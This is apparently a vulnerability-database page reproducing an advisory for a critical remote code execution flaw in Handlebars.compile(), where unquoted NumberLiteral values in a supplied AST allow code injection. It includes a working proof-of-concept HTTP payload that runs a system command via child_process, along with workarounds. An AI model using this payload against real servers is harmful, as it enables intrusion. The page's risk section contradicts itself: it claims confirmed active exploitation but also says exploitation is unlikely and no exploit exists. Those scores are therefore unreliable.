Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-2w6w-674q-4c4q

CriticalCVSS 9.8 / 10
Published Mar 27, 2026·Last modified Mar 30, 2026
Affected Components(0)

No affected components available

Description

Summary

Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

Description

Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:

// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;

Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.

Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.

Proof of Concept

Server-side Express application that passes req.body.text to Handlebars.compile():

import express from "express";
import Handlebars from "handlebars";

const app = express();
app.use(express.json());

app.post("/api/render", (req, res) => {
  let text = req.body.text;
  let template = Handlebars.compile(text);
  let result = template();
  res.send(result);
});

app.listen(2123);
POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123

{
  "text": {
    "type": "Program",
    "body": [
      {
        "type": "MustacheStatement",
        "path": {
          "type": "PathExpression",
          "data": false,
          "depth": 0,
          "parts": ["lookup"],
          "original": "lookup",
          "loc": null
        },
        "params": [
          {
            "type": "PathExpression",
            "data": false,
            "depth": 0,
            "parts": [],
            "original": "this",
            "loc": null
          },
          {
            "type": "NumberLiteral",
            "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
            "original": 1,
            "loc": null
          }
        ],
        "escaped": true,
        "strip": { "open": false, "close": false },
        "loc": null
      }
    ]
  }
}

The response body will contain the output of the id command executed on the server.

Workarounds

  • Validate input type before calling Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value.
    if (typeof templateInput !== 'string') {
      throw new TypeError('Template must be a string');
    }
    
  • Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.
Risk Scores
Base Score
9.8

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
9.0

Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.

EPSS
1.78%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard